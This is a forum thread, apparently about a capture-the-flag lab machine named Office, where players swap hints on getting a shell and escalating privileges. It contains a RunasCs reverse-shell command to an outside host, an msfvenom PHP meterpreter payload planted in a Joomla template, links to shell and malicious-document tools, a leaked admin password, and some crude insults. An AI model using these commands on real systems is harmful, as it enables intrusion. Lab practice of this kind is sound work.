[peRd1]

how are y'all getting a shell? i got the tstark creds on my own but then i hit a wall

same problem
tstark creds don't fit to joomla admin, nor do the root user ones. brick wall too

they do fit... make it fit

[gtastav]

Can anyone help with a hint? I have a reverse shell for web_account but cannot find how to elevate privs. Have tried forwarded for resume.php form, but can't upload any php.

i don't understand the value of the internal website (yet), as it runs under same account as joomla. You can write to applications folder from revshell

https://github.com/rmdavy/badodf/

[DataNinja]

pwned  ,was very easy!

[suxalottapuss]

pwned  ,was very easy!

I had root hours ago......and your time stamps dont match mine.

[chillywilly]

why do that when runascs can do it 
RunasCs.exe tstark <password> powershell -r 10.10.x.x:9001

[suxalottapuss]

pwned  ,was very easy!

https://i.postimg.cc/pmYBMDtq/lmao.jpg
you see that root? that was me and your mom.

[DoesntMatter123456]

I got root but can someone tell me about these ps1 files in the music folders? OMG why even change them back instead of leaving it open?

like this one?

C:\users> type "C:/users/Administrator/Music/cleanup_gpo_abuse.ps1"
# Removing all users from administrative groups

net localgroup administrators hhogan /del
net localgroup administrators tstark /del
net localgroup administrators ppotts /del

net localgroup "domain admins" hhogan /del
net localgroup "domain admins" tstark /del
net localgroup "domain admins" ppotts /del

# Cleaning Scheduled Tasks
cd "\\office.htb\SysVol\office.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE"
Remove-Item -Recurse -Force -Path .\Preferences\

cd "\\office.htb\SysVol\office.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE"
Remove-Item -Recurse -Force -Path .\Preferences\

Hi. Still stuck on user :| After logging into Joomla with administrator:playboy69 creds,I tried to reverse shell via msfvenom php/meterpreter/reverse_tcp payload,got shell on site templates -> index.php ,got meterpreter  shell but immediately shell dies :|. Any help on user would be appreciated

[DoesntMatter123456]

I got root but can someone tell me about these ps1 files in the music folders? OMG why even change them back instead of leaving it open?

like this one?

C:\users> type "C:/users/Administrator/Music/cleanup_gpo_abuse.ps1"
# Removing all users from administrative groups

net localgroup administrators hhogan /del
net localgroup administrators tstark /del
net localgroup administrators ppotts /del

net localgroup "domain admins" hhogan /del
net localgroup "domain admins" tstark /del
net localgroup "domain admins" ppotts /del

# Cleaning Scheduled Tasks
cd "\\office.htb\SysVol\office.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE"
Remove-Item -Recurse -Force -Path .\Preferences\

cd "\\office.htb\SysVol\office.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE"
Remove-Item -Recurse -Force -Path .\Preferences\

Hi. Still stuck on user :| After logging into Joomla with administrator:playboy69 creds,I tried to reverse shell via msfvenom php/meterpreter/reverse_tcp payload,got shell on site templates -> index.php ,got meterpreter  shell but immediately shell dies :|. Any help on user would be appreciated

Use this shell https://raw.githubusercontent.com/ivan-s..._shell.php

Thanks. It worked

[chillywilly]

theres 2 ways unintended xampp which will probably get fixed and intended which is policy shit

[punt0]

theres 2 ways unintended xampp  which will probably get fixed and intended which is policy shit

XAMPP via resume.php?